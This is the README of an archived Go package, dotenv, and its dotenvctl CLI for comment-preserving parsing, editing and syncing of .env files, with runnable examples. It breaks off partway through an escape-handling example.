dotenv

package module
v0.1.3 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 13, 2026 License: Apache-2.0 Imports: 8 Imported by: 0

README

Moved to github.com/ubgo/textdata/dotenv. This repository is archived. Import github.com/ubgo/textdata/dotenv instead of github.com/ubgo/dotenv, and github.com/ubgo/textdata/dotenv/cli instead of github.com/ubgo/dotenv/cli. The API is the same; existing tags stay downloadable.

dotenv

The comment-preserving .env toolkit for Go.

Parse, edit, compare, and sync .env files — every byte you don't touch survives verbatim.

Go Reference on pkg.go.dev Go Report Card

A comment-preserving .env parser, editor, and CLI for Go. The library (github.com/ubgo/dotenv) is a stdlib-only, zero-dependency package for reading, editing, and writing dotenv files with byte-exact round-tripping and full Docker Compose interpolation; the CLI (dotenvctl) adds environment-variable management from the shell — get/set/unset, an environment drift matrix, effective-config diff, run, and secrets sync to GitHub Actions and Vercel. Open source, fuzz-tested, and built for the twelve-factor configuration workflow.

go get github.com/ubgo/dotenv                                # the library
go install github.com/ubgo/dotenv/cli/cmd/dotenvctl@main     # the CLI

Quickstart — open a file, read a value raw and expanded, change another, save. The comment and the reference survive byte for byte:

// Example_quickstart is the five-minute tour: open a .env, read one value raw
// and expanded, change another, and save. Every byte you did not touch,
// including the comment and the reference, is written back as it was.
func Example_quickstart() {
	dir, err := os.MkdirTemp("", "dotenv-quickstart")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	path := filepath.Join(dir, ".env")
	src := "# where the API lives\nDOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
	if err := os.WriteFile(path, []byte(src), 0o600); err != nil {
		fmt.Println(err)
		return
	}

	f, err := dotenv.Open(path) // a missing file is not an error
	if err != nil {
		fmt.Println(err)
		return
	}

	raw, _ := f.Get("API_URL") // the bool reports presence; API_URL is present
	url, _, err := f.GetExpanded("API_URL")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(raw)
	fmt.Println(url)

	f.Set("DOMAIN", "acme.io")
	if err := f.Save(); err != nil { // atomic: temp file at 0600, then rename
		fmt.Println(err)
		return
	}

	saved, err := os.ReadFile(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Print(string(saved))
	// Output:
	// https://api.${DOMAIN}
	// https://api.staging.acme.io
	// # where the API lives
	// DOMAIN=acme.io
	// API_URL=https://api.${DOMAIN}
}

dotenv architecture

Learn it: the learning path takes you in 12 steps from first use to a full production setup · Choosing guides answer "which call, option or backend do I need?" · the feature index lists all 122 features with their guide and runnable example.

Two ways in:

You want Start here
📦 Go library parse, edit, expand, and write .env files from Go this page, next section down
🖥️ dotenvctl CLI get/set/unset from the shell, env-drift matrix, diff, run, GitHub/Vercel secret sync the CLI section below → cli/ → full docs

Contents: Why not a dotenv library · Scope · CLI — dotenvctl · Reading · Writing · Generating a file · Disabled settings · Inherited declarations · Cloning between environments · Plugins · Typed configuration · Feature support · Variable expansion · Saving safely · Line endings · API · Testing · FAQ

Why not a dotenv library

Parse-to-map libraries keep the keys and throw away everything else. Write the file back and the comments, blank lines, ordering, and quoting style are gone.

That matters because a .env is documentation as much as configuration. A tool that strips the comment explaining why a value exists has damaged the file even though every key survived.

This package edits line-wise: every byte outside the entry you touch survives verbatim. Two invariants, both pinned by tests:

parse → render with no changes   ⇒  byte-identical output
Set(key, <current value>)        ⇒  byte-identical output (a true no-op)

How that places it against the other ways people handle .env files:

dotenv + dotenvctl Loaders (godotenv, Node/Python dotenv) Encryption tools (dotenvx, sops) sed / hand-editing
Edit without destroying comments & formatting ✅ byte-exact, fuzz-pinned ❌ parse-to-map, write loses everything ⚠️ varies ❌ breaks on quoting & multiline
Reversible disable (unset → restore) ✅ byte-identical round trip ❌ ❌ ❌
Distinguish disabled / missing / placeholder ✅ ❌ all collapse to "absent" ❌ ❌
Drift matrix + contract CI gate across envs ✅ matrix, exit-code gates ❌ ❌ ❌
Selection-based secret sync (GitHub / Vercel) ✅ with placeholder guards ❌ ⚠️ own model ❌ hand-rolled loops
Leaves os.Environ alone ✅ by design, test-pinned ❌ loading is the point ⚠️ —

If you want a loader that injects variables into your process, godotenv already does that well; if you want the file itself managed — edited safely, compared across environments, synced outward — that is this toolkit.

Scope

A parser and editor. Three things it deliberately does not do:

Not this Why Do instead
Set os.Environ Reading a .env and exporting it into the process are separate decisions. Conflating them is why godotenv.Load means something this package must not Apply your own precedence over f.Map()
Merge multiple files Merging is a precedence policy — which file wins, per key. The guarantee here is that one file maps to one set of bytes, and merged content has no single file to render back to Layer it above
Coerce values to types A .env has no types — PORT=8443 is four characters. Which Go type that becomes depends on the field it is bound to, which is the application's decision. Typed getters also fail quietly: PORT=eighty returning a default is a production incident Compose with a binder
Stream a file in chunks Forward references, insertion, and byte-exact rendering each need the whole file. A stream could resolve backward references only, which would make the same bytes expand differently here and there — worse than not offering it. The full reasoning and measurements live in the package doc ParseReader closes the cost that was real

The first is enforced by a test that snapshots the environment across a full parse → expand → edit → save → reopen cycle.

Why Open, not Load. godotenv.Load sets os.Environ. This package deliberately never touches the environment — it hands back a file you read, edit, and save — so a Load here would mean the opposite of every other Load in the ecosystem. The package is named for the format, the way encoding/json and yaml are.

CLI — dotenvctl

Everything below is also available from the shell. cli/ ships dotenvctl, a terminal front-end over this library — every edit keeps the byte-preservation guarantees, and the tool never touches its own process environment.

go install github.com/ubgo/dotenv/cli/cmd/dotenvctl@main
dotenvctl get DATABASE_URL --expand        # print one value, references resolved
dotenvctl set DB_HOST=db.prod --after DB_PORT
dotenvctl unset OLD_KEY                    # comments it out — reversible
dotenvctl restore OLD_KEY                  # …and back, byte-identical
dotenvctl run -- npm start                 # child gets the file's values; your env untouched
dotenvctl list --prefix GITHUB_SECRET_ --strip-prefix --json   # read one audience of a shared file

And the multi-environment layer — the part sed and parse-to-map tools cannot offer at all:

$ dotenvctl matrix .env.staging .env.prod --only-drift
KEY                        stag  prod
DB_PASS                    ✓     !
EXTRA                      —     ✓
FEATURE_X                  ✓     #
GITHUB_SECRET_DEPLOY_PATH  ✓     —

✓ present · ∅ empty · ! placeholder · # disabled · → inherited · — missing
dotenvctl envs                             # discover the directory's .env family
dotenvctl diff .env.staging .env.prod      # effective-config diff; exit 1 on difference, like diff(1)
dotenvctl matrix --contract .env.example   # CI gate: exit 1 when an env misses a contract key
dotenvctl matrix --format html -o envs.html   # shareable report — secrets masked by default
dotenvctl github push --prefix GITHUB_SECRET_ --strip-prefix   # sync to GitHub Actions secrets via gh

Every verb takes -f <file> (default ./.env) and --json (stable {ok,data|error} envelope). Mutating verbs support --dry-run. Exit codes: 0 ok, 1 operation failed, 2 usage. The CLI is a separate Go module, so this library stays dependency-free — and every CLI operation is also an exported Go function (envkit).

Full CLI documentation: cli/README.md for the pitch and tour · docs/ for getting started, the command reference, multi-env tools, recipes, and plugins.

The rest of this page is the library documentation.

Reading

Just want the values? One call: m, err := dotenv.Read(".env") returns a map[string]string with references resolved (ExampleRead).

That is Open + ExpandedMap, for the common case where you only need the configuration and will never write the file back. Comments, blanks, disabled settings, and unrecognised lines are all skipped; duplicates collapse to last-wins; ${VAR} references arrive resolved.

Use the full API when you need to edit, inspect structure, or keep references intact. dotenv.Open(path) reads from disk (a missing file is not an error); dotenv.Parse(content) and dotenv.ParseReader(r) take a string or any io.Reader, so a pipe, an embedded fixture, or a secret store needs no filesystem. Every accessor then works the same way:

// Example_reading shows what each read accessor returns for a file with a
// duplicated key and a commented-out setting: duplicates resolve to the last
// occurrence, and disabled lines are invisible to every accessor.
func Example_reading() {
	f := dotenv.Parse("A=1\nB=2\nA=3\n# C=off\n")

	v, ok := f.Get("A")
	fmt.Println(v, ok)             // last occurrence wins
	fmt.Println(f.Has("C"))        // disabled lines are not active keys
	fmt.Println(f.Count("A"))      // how many active A lines exist
	fmt.Println(f.Keys())          // active keys, file order, deduplicated
	fmt.Println(len(f.Pairs()))    // active pairs, duplicates included
	fmt.Println(f.Map()["A"])      // effective view
	fmt.Println(len(f.Disabled())) // the commented-out setting is still known
	// Output:
	// 3 true
	// false
	// 2
	// [A B]
	// 3
	// 3
	// 1
}

Prefer ParseReader for anything large. io.ReadAll doubles its buffer as it grows, and converting the resulting []byte to a string copies everything again. ParseReader copies into a strings.Builder, whose buffer becomes the string directly, so both costs disappear:

BenchmarkParseLarge/ReadAll_then_Parse    13,040,856 B/op    93 allocs/op
BenchmarkParseLarge/ParseReader            9,845,502 B/op    67 allocs/op

That is a ~1.4 MB file — realistic once a value holds a PEM block or a base64 certificate. Re-run it with task bench rather than trusting the numbers.

Neither call streams: preserving a file byte for byte means holding every line. ParseReader lowers the cost, it does not remove it.

Cost at scale

Measured on this machine, a file of many small entries:

File Entries Parse time Heap
1 MB 22,547 26 ms +5 MB
5 MB 111,542 144 ms +19 MB

Roughly 4× the file size in memory and linear in time. TestParse_ScalesLinearly guards the complexity class — it caught a quadratic regression that made the 5 MB case take 23 seconds, which no unit test noticed because they all run on a handful of lines.

Open does not guess a location; you pass the path. Resolving where a file lives (a config directory, the repository root) is a path-resolution library's job, not this package's: resolve the path first, then pass it to Open.

Full guide: Reading a .env file · Entries and kinds. Not sure which entry point? See Choosing how to read.

Writing

Set updates a key in place or appends it, Unset(key, false) comments it out reversibly (true removes the line), and Save writes atomically.

Placing a new key

Set appends at the end of the file. To put a new key beside related ones, anchor it on a key already there with SetAfter(anchor, key, value) or SetBefore(anchor, key, value):

// Example_editing covers the upsert family: Set updates in place or appends,
// SetAfter places a new key next to an anchor, a missing anchor is an error
// rather than a silent append, and Unset comments a key out reversibly.
func Example_editing() {
	f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\nOLD_KEY=x\n")

	created := f.Set("API_KEY", "secret") // appends: the key was new
	fmt.Println("created:", created)

	if _, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "s3cret"); err != nil {
		fmt.Println(err)
		return
	}

	_, err := f.SetAfter("NO_SUCH_KEY", "X", "1")
	fmt.Println("missing anchor:", errors.Is(err, dotenv.ErrAnchorNotFound))

	f.Unset("OLD_KEY", false) // false: comment it out; true would delete the line
	fmt.Print(f.Render())
	// Output:
	// created: true
	// missing anchor: true
	// DB_HOST=localhost
	// DB_PORT=5432
	// DB_PASSWORD=s3cret
	// # OLD_KEY=x
	// API_KEY=secret
}

An existing key is updated in place and never moved — relocating it would rewrite two regions of the file for a one-value change. A missing anchor returns ErrAnchorNotFound and leaves the file untouched, rather than silently appending at the end while reporting success.

Inserting by section name is designed but deferred: section boundaries are a convention rather than syntax, so it has to guess, while SetAfter cannot be wrong.

Set on a duplicated key updates the last occurrence, because that is the one a consumer actually sees.

What Set keeps on the line it edits: the export prefix, any indentation, the spacing on both sides of the delimiter (A = 1 becomes A = 2), the = or : delimiter itself, and an inline comment. The value's quoting is chosen afresh for the new value (ExampleFile_Set_quoting). Set stores the value literally: a value containing $ is written in single quotes, so GetExpanded after a reload gives back exactly what you set, and Set cannot write a reference such as ${HOST}. To add a reference, Append a parsed line (ExampleFile_Set_dollar, ExampleFile_Append_verbatim).

Step-by-step guides: Editing · Saving. Not sure which method? See Choosing how to edit.

Generating a file

Set upserts. To emit content — comments, blank lines, whole sections — build entries and place them literally. Append adds them at the end; InsertAfter and InsertBefore anchor a block on an existing key, and it lands as a unit. Set f.Path and call Save (or call SaveAs) to write the result:

// Example_generating builds a file from nothing with the literal family:
// constructors make entries, Append places them at the end, and InsertAfter
// places a block next to an anchor as one unit.
func Example_generating() {
	// banner is the rule line around each section heading.
	const banner = "------------------"

	f := dotenv.Parse("")
	f.Append(
		dotenv.NewComment(banner, "DATABASE", banner),
		dotenv.NewPair("DB_HOST", "localhost"),
		dotenv.NewPair("DB_PORT", "5432"),
		dotenv.NewBlank(),
		dotenv.NewComment(banner, "AUTH", banner),
		dotenv.NewPair("AUTH_SECRET", "change me"),
	)
	err := f.InsertAfter("DB_PORT", dotenv.NewPair("DB_PASSWORD", "s"))
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Print(f.Render())
	// Output:
	// # ------------------
	// # DATABASE
	// # ------------------
	// DB_HOST=localhost
	// DB_PORT=5432
	// DB_PASSWORD=s
	//
	// # ------------------
	// # AUTH
	// # ------------------
	// AUTH_SECRET="change me"
}

Two families, and the difference matters

Family Semantics Use for
Set, SetAfter, SetBefore upsert — guarantees one active entry; updates in place if the key exists editing
Append, InsertAfter, InsertBefore literal — places exactly what you pass, duplicates included generating

On A=1, Set("A", "2") leaves one entry, A=2; Append(NewPair("A", "2")) leaves two, A=1 and A=2, and the last wins (ExampleFile_Append_vsSet). Blurring them is how a key silently moves.

Constructors

NewPair(key, value) a KEY=value entry; quoting is chosen when it is placed
NewComment(lines...) one line per argument, each prefixed # unless it already starts with #
NewBlank() an empty line, for separating sections

Constructed entries carry no rendered text until Append or Insert attaches them — the line ending belongs to the destination file, which the entry does not know yet. An entry taken from Entries() is already attached and is copied verbatim, so re-placing one preserves its exact original bytes.

Hazard. Appending to a file whose last value has an unterminated quote puts the new content inside that value, because the open quote keeps consuming lines. The source is already malformed and nothing here can fix it — a parser that guessed where the quote should have closed would corrupt legitimate multi-line values. Check the result when writing to files you did not author.

Disabled settings

A commented-out setting is its own kind, not prose:

# DB_USER=admin      ← KindDisabledPair: Key and Value populated, INACTIVE
# just a note        ← KindComment

That holds regardless of who commented it out — by hand or via Unset — because the two mean the same thing. f.Entries() returns every entry with its Kind (KindPair, KindDisabledPair, KindComment, KindBlank, KindInherited, KindOther), and f.Disabled() lists every commented-out setting as a Pair, in file order:

// Example_disabledSettings shows that a commented-out setting is its own kind
// with a readable key and value, that it stays inactive, and that Restore turns
// it back on without inventing any bytes.
func Example_disabledSettings() {
	f := dotenv.Parse("# DB_USER=admin\n# just a note\nDB_HOST=db\n")

	for _, e := range f.Entries() {
		fmt.Printf("%-13s %q\n", e.Kind, e.Key)
	}
	fmt.Println(f.Has("DB_USER"), f.Disabled()[0].Key)

	f.Restore("DB_USER")
	fmt.Print(f.Render())
	// Output:
	// disabled-pair "DB_USER"
	// comment       ""
	// pair          "DB_HOST"
	// false DB_USER
	// DB_USER=admin
	// # just a note
	// DB_HOST=db
}

Disabled entries stay inactive — Get, Has, Count, Map, and Keys all ignore them, exactly as a consumer of the file would. The point is that a tool can now say "DB_USER is disabled" rather than "DB_USER is missing", which are different problems with different fixes.

The trade: prose shaped like an assignment is misfiled. # TODO=fix this reads as a disabled setting — which is also what a human skimming the file would assume. Inside a comment the : form counts only when its value is one token, so # Note: rotate monthly and # http://example.com stay comments, while # DB_URL: postgres://db/app and the one-word # Owner: alice are still disabled settings (ExampleKind_pitfalls). A commented value whose quote does not close on its own line stays prose, since a multi-line block cannot be reassembled from separate comment lines.

Turning one back on

f.Unset("DB_USER", false) comments a setting out; f.Restore("DB_USER") turns it back on (ExampleFile_Restore). Restore removes the exact marker recorded for that entry, so #DB_USER=admin comes back without inventing a space, and an indented # DB_USER=admin keeps its indentation. Disable followed by restore returns the file to its original bytes — a fuzz property, not just a test case.

Two limits, both pinned by tests:

  • With more than one disabled entry for a key, Restore targets the last — consistent with Get, Set, and Unset, but not necessarily the one Unset just created.
  • A commented-out multi-line value cannot be restored from a re-read file: each of its lines parses as a separate comment. Within one session, where Unset kept the block together, it reverses completely.

See Entries and kinds for all six kinds and the parsing pitfalls, and Editing, steps 3-5 for Unset, Restore and Disabled.

Inherited declarations

Compose's env-file grammar allows a line that is just a name — no delimiter, no value:

DATABASE_URL=postgres://localhost/dev
HOME
AWS_SECRET_ACCESS_KEY

To Compose that means inherit this variable from the process environment — the idiom for whitelisting host variables into a container without ever writing their values into the file. This package recognises the declaration as its own kind, KindInherited, but never resolves it: reading os.Environ is exactly what this package promises not to do. So the entry is inactive — Get, Keys, and Map skip it, and a ${reference} to it expands like any other unset variable.

Inherited lists the declared names so an application that wants Compose's behaviour applies its own source, with its own precedence:

In a real program the source is usually os.LookupEnv; here a map stands in for it:

// Example_inheritedDeclarations reads a Compose-style name-only line. The
// package lists the name but never resolves it; the application layers its
// own source on top (a map stands in for os.LookupEnv here).
func Example_inheritedDeclarations() {
	f := dotenv.Parse("DATABASE_URL=postgres://localhost/dev\nAWS_REGION\n")
	host := map[string]string{"AWS_REGION": "eu-west-1"} // stands in for the process environment

	env := f.Map()
	fmt.Println(f.Inherited(), len(env))
	for _, name := range f.Inherited() {
		if v, ok := host[name]; ok { // the caller's decision, not the parser's
			env[name] = v
		}
	}
	fmt.Println(env["AWS_REGION"])
	// Output:
	// [AWS_REGION] 1
	// eu-west-1
}

The same layering the package prescribes for loading in general: the file describes, the application decides. Full guide: Editing, step 6.

Cloning between environments

Deriving .env.prod from .env.staging is the case this package's read/write split was designed for.

Clone makes an independent copy, Set changes only what differs, and SaveAs(".env.prod") writes it elsewhere without touching the source's Path:

// Example_cloning derives production from staging: Clone, change one value,
// and every reference stays a reference, so the derived values follow the
// edit. The source file is left untouched.
func Example_cloning() {
	staging := dotenv.Parse("DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\nSECRET=${VAULT_TOKEN:?set me}\n")

	prod := staging.Clone() // independent deep copy
	prod.Set("DOMAIN", "acme.io")
	fmt.Print(prod.Render())

	url, _, err := prod.GetExpanded("API_URL")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(url)
	domain, _ := staging.Get("DOMAIN") // present in the source
	fmt.Println(domain)
	// Output:
	// DOMAIN=acme.io
	// API_URL=https://api.${DOMAIN}
	// SECRET=${VAULT_TOKEN:?set me}
	// https://api.acme.io
	// staging.acme.io
}

Given this source:

# ------------------------------
# SHARED
# ------------------------------
DOMAIN=staging.acme.io

# ------------------------------
# DERIVED — these must stay as references
# ------------------------------
API_URL=https://api.${DOMAIN}
CALLBACK=${API_URL}/oauth/callback
SECRET=${VAULT_TOKEN:?set me}

the clone comes out with one line changed and everything else byte-identical — banners, blank lines, references, and the required-variable guard all intact:

DOMAIN=acme.io
API_URL=https://api.${DOMAIN}          ← still a reference
CALLBACK=${API_URL}/oauth/callback     ← still chained
SECRET=${VAULT_TOKEN:?set me}          ← still armed

Why references survive: Render never expands

f.Get("API_URL") returns https://api.${DOMAIN}, what is on disk; f.GetExpanded("API_URL") returns https://api.staging.acme.io, the derived value consumers see.

Render and Save write only Raw. Expansion happens in exactly one method, and nothing in the write path calls it — so a clone keeps references literal by default. You would have to go out of your way to bake them in.

The cascade, and why it matters

A reference is a formula, not a value — like =A1*2 in a spreadsheet rather than a typed number. Store the formula and it re-evaluates; store the result and it is frozen.

Changing DOMAIN once, in a file that stored the formula:

on disk after the edit API_URL resolves to
stored as a reference https://api.${DOMAIN} https://api.acme.io ✅
stored baked https://api.staging.acme.io https://api.staging.acme.io ❌

The baked file is now wrong and silent: it still points at staging, nothing errors, and you find out when production traffic hits the staging API.

CALLBACK=${API_URL}/oauth/callback follows too, because it references API_URL which references DOMAIN. One edit, the whole chain re-resolves.

The trap. Building the new file from ExpandedMap() instead of cloning bakes every reference at once. The result looks correct on the day you write it and quietly stops tracking from then on.

Freezing a value on purpose

Sometimes you want a value pinned so it stops following its source — a secret resolved once at deploy time, say. That is a caller decision, so it is a recipe rather than an API: read the value with GetExpanded, then Set it back, and it is literal from then on. ExampleFile_Clone_baked shows the difference.

Several variants from one source

SaveAs does not mutate f.Path, so a single loaded file can emit as many as you need: loop over your environments, and for each one Clone the source, Set what differs and SaveAs(".env." + name) (ExampleFile_SaveAs).

Clone is an independent deep copy — editing either side leaves the other alone — and carries the file's line-ending style, mode, and parse options across. It is cheaper and more faithful than Parse(f.Render()), which re-parses and can reclassify entries on the second pass.

Permissions on SaveAs: an existing destination keeps its own mode; a new one gets the source file's. Overwriting must never widen a file somebody deliberately locked down, nor loosen one about to hold secrets.

Full guide: Editing, step 9 — Clone · Saving, step 4 — SaveAs.

Plugins

Decryption, secret stores, auditing, and save-time validation live outside this package while running inside its pipeline. A plugin is an object implementing whichever capability interfaces it needs — one plugin may hold several, sharing a client and a cache between them.

You install one with dotenv.Open(path, dotenv.WithPlugin(p)) (or the same option on Parse), and f.Plugins() reports which capabilities each installed plugin was detected as having (ExamplePluginInfo).

The six hooks

Capability When Ordering May fail Affects bytes
EntryObserver once per entry during parse all, install order no no
Lookuper a ${VAR} the file does not define first non-miss wins yes no
ValueTransformer after a value is expanded chained, each sees the last output yes no
CommandRunner a $(cmd) last installed wins — a replacement, not a chain no — a runner error expands to "", as a shell does no
ExpandObserver every reference resolution all, install order no no
SaveGuard before Save / SaveAs writes all; first error aborts yes veto only

The firewall

A hook may change what a value READS as. It may never change what gets WRITTEN.

Every value-changing hook lives in the expansion path, which Render and Save never call. So round-trip stays byte-exact regardless of which plugins are installed, and a decrypted secret can never be written back in plaintext. SaveGuard sits nearest the write path and may only return an error — it cannot rewrite.

That is structural rather than a convention, and it is asserted two ways: TestPlugins_NeverAffectBytes, a plain test that renders one file with every hook and with none, and FuzzPluginsNeverAffectBytes, which does the same for arbitrary input. The test also covers plugin code that misbehaves: a SaveGuard receives a copy of the file and an EntryObserver a copy of the entry, so a guard that calls f.Set or an observer that edits its entry changes nothing that is saved (plugins guide, pitfalls).

Worked examples

Environment fallback and decryption — WithLookup(os.LookupEnv) gives Compose's behaviour, opted into rather than imposed; WithValueTransform gives encrypted: parity as a plugin rather than a feature this package owns. Here a map stands in for each source:

// Example_plugins installs two single-function hooks: a lookup that fills a
// reference the file does not define, and a value transform that decrypts.
// Get still returns what is on disk; only GetExpanded sees the plaintext, and
// the rendered bytes never change.
func Example_plugins() {
	// cipherPrefix marks a value the transform must decrypt.
	const cipherPrefix = "encrypted:"
	vault := map[string]string{"c2VjcmV0": "hunter2"} // a fake secret store
	fallback := map[string]string{"REGION": "eu-west-1"}

	src := "DB_PASS=encrypted:c2VjcmV0\nZONE=${REGION}-a\n"
	f := dotenv.Parse(src,
		dotenv.WithLookup(func(name string) (string, bool) {
			v, ok := fallback[name]
			return v, ok
		}),
		dotenv.WithValueTransform(func(key, v string) (string, error) {
			s, ok := strings.CutPrefix(v, cipherPrefix)
			if !ok {
				return v, nil
			}
			plain, found := vault[s]
			if !found {
				return "", fmt.Errorf("%s: no secret for %q", key, s)
			}
			return plain, nil
		}),
	)

	raw, _ := f.Get("DB_PASS") // present in the file
	pass, _, err := f.GetExpanded("DB_PASS")
	if err != nil {
		fmt.Println(err)
		return
	}
	zone, _, err := f.GetExpanded("ZONE")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(raw)
	fmt.Println(pass)
	fmt.Println(zone)
	fmt.Println(f.Render() == src)
	// Output:
	// encrypted:c2VjcmV0
	// hunter2
	// eu-west-1-a
	// true
}

The file always wins; a lookup only fills references the file does not define. A lookup that returns an error (the Lookuper interface, or WithPlugin) aborts rather than counting as a miss, because an unreachable secret store must not look like an unset variable — otherwise a deploy proceeds with an empty password (ExampleWithPlugin_lookupError). Get still returns the ciphertext, so that is what gets written back. Only GetExpanded sees plaintext.

Refusing to save a plaintext secret — WithSaveGuard(func(f *dotenv.File) error) runs before Save and SaveAs write; returning an error vetoes the write. A refusal leaves the destination exactly as it was — nothing is written, and no temp file is left beside it (ExampleWithSaveGuard).

Dead-key detection — an ExpandObserver sees every reference resolution, so it can record which declared variables nothing references (ExampleExpandObserver).

Observers see every entry, including KindDisabledPair and unrecognised lines: a commented-out setting is a finding for an auditor, not noise.

Writing a plugin

A plugin is a type with a Name() string method plus whichever capability methods it needs, for example Lookup(name string) (string, bool, error) and TransformValue(key, val string) (string, error). Pair it with compile-time assertions such as var _ dotenv.Lookuper = (*Vault)(nil): an optional interface with a wrong signature compiles, installs, and never runs, and the assertion turns that silence into a build failure. ExampleWithPlugin is a complete plugin with several capabilities.

That assertion is not optional style. func (v *Vault) LookUp(...) or a missing error return compiles fine and leaves the plugin inert. f.Plugins() reports what was actually detected, so a missing capability is visible — but a compile-time assertion catches it before it ships.

Capabilities are resolved once at construction into pre-filtered slices, so a plugin without a capability costs nothing on the expansion path.

Full guide: Plugins. Not sure which hook fits? See Choosing a plugin hook.

Typed configuration

Every value here is a string, deliberately. To get int, bool, time.Duration, or a slice, hand the file to a binder — this package supplies the values, the binder supplies the types.

The standard library alone is enough for a handful of fields: Example_typedConfig reads the file with dotenv.Read and converts each value with strconv and time, reporting every bad value.

For struct tags, defaults and required fields, use a binder. A *File satisfies sethvargo/go-envconfig's Lookuper interface with a three-line adapter (Lookup(key string) (string, bool) calling f.GetExpanded), or you pass it the map from Read through envconfig.MapLookuper(m), so the two compose with no dependency in either direction. go-envconfig v1 takes both through its config struct: envconfig.ProcessWith(ctx, &envconfig.Config{Target: &cfg, Lookuper: fileLookuper{f}}). The older ProcessWith(ctx, &cfg, lookuper) form is pre-v1 and does not compile against v1.

dotenv handles comments, references, and round-tripping; the binder handles types, defaults, required fields, slices, and nested prefixes. go-envconfig stops at the first field it cannot decode; caarlos0/env and cfgkit report every binding error at once. caarlos0/env reads from a map: env.ParseWithOptions(&cfg, env.Options{Environment: m}) with m from dotenv.Read.

Complete, compiled programs for each binder are in Typed configuration: the standard library, go-envconfig, caarlos0/env, cfgkit.

A binder built on this package

github.com/ubgo/cfgkit is the same idea taken further, and it reads through this package rather than through a plain map — so quoting, multiline values and ${VAR} expansion behave in the binder exactly as they do here, including ${VAR:-default} and ${VAR:?message}. It uses the Lookuper seam to let a later file in a .env / .env.local chain reference a value an earlier one defined, and loads a whole configuration with one generic call, cfgkit.Load, over its default sources (typed-config guide, step 5).

It adds what a binder alone cannot: it reports which source set each field (.env, .env.local, the environment, a secret store), masks values marked secret so they cannot reach a log, validates a configuration without booting the application so a stale file fails CI instead of a container, and generates the .env.example contract from the struct so the file and the code cannot drift.

The trade is scope. go-envconfig and caarlos0/env are small and do one thing; cfgkit is a layered configuration system. If environment variables are your only source and you want the smallest surface, the two above remain the better fit — this package composes with all three and depends on none of them.

Why there is no f.Int("PORT", 8080)

A .env has no types. PORT=8443 is four characters, and which Go type it becomes depends on the field receiving it — the application's decision, not the format's. encoding/json draws the line in the same place: you unmarshal into a struct, there is no json.GetInt.

Typed getters also fail in the worst way available. PORT=eighty returns the default, silently, and the service comes up on the wrong port with nothing in the logs. A binder reports it as an error alongside every other problem in the file.

Inferring types from a value's shape — 8443 becoming a number because it looks numeric — was evaluated and rejected: ZIP=01234 loses its leading zero, DESCRIPTION=Hello, world becomes an array, and the usual escape hatches collide with backtick and glob syntax this package already supports.

Note ${VAR:?message} already covers required at the file level, so a missing value can fail during expansion rather than at bind time — useful when the variable is referenced by another value rather than bound directly.

Full guide: Typed configuration.

Feature support

Every .env construct in common use, including the full Docker Compose interpolation spec. Each row is asserted by a test in conformance_test.go — this table reflects behaviour, not intent. Full guides: .env syntax · Variable expansion.

Quoting

Feature Example Supported
Unquoted SIMPLE=xyz123 ✅
Double-quoted VAR="VAL" ✅
Single-quoted, literal VAR='VAL' ✅
Backtick, literal VAR=`VAL` ✅
Backtick multiline KEY=`line one
line two`
✅
Double-quoted multiline KEY="line one
line two"
✅
Spaces around = KEY = value ✅
export prefix export KEY=value ✅
Empty value KEY= ✅
KEY: value — colon delimiter FOO: bar ✅ — in the Compose grammar and Node dotenv's parser; the author's delimiter and the spacing around it are preserved on edit
Key charset: letters, digits, _ . - [ ] spring.datasource.url=x, 2FA_SECRET=x ✅ — Compose's charset, a superset of Node dotenv's and godotenv's [\w.-]

Comments

Feature Example Supported
Whole-line comment # a note ✅
After a quoted value KEY="v" # note ✅
# with no leading space is not a comment KEY=VAL# literal ✅
# inside quotes is preserved KEY="a-#-b" ✅
Blank lines ✅
Unrecognised lines kept verbatim K!=v, HAS KEY=v ✅ — deliberate divergence from compose-go, which errors and refuses the whole file; an editor must stay able to open, edit, and save around content it will never touch

Escape sequences

Only inside double quotes. Single-quoted and backtick values are fully literal.

Escape EscapeExtended (default) EscapeCompose
\" ✅ " ✅ "
\\ ✅ \ ✅ \
\n \r \t ✅ decoded ❌ kept literal
anything else (\d, C:\Users) kept literal kept literal

The two modes are genuinely incompatible — under Compose, \n stays two characters; under Extended it becomes a newline — so it is a choice rather than a default to work around. Pass dotenv.WithEscapes(dotenv.EscapeCompose) to Parse or Open:

// ExampleEscapeCompose shows the trap EscapeCompose exists for: a Windows
// path whose folder starts with n or t. Under the default EscapeExtended the
// \n and \t become a newline and a tab; under EscapeCompose the path is kept.
func ExampleEscapeCompose() {
	const src = `DIR="C:\new\tools"` + "\n"

	extended, _ := dotenv.Parse(src).Get("DIR")
	compose, _ := dotenv.Parse(src, dotenv.WithEscapes(dotenv.EscapeCompose)).Get("DIR")
	fmt.Printf("extended: %q\n", extended)
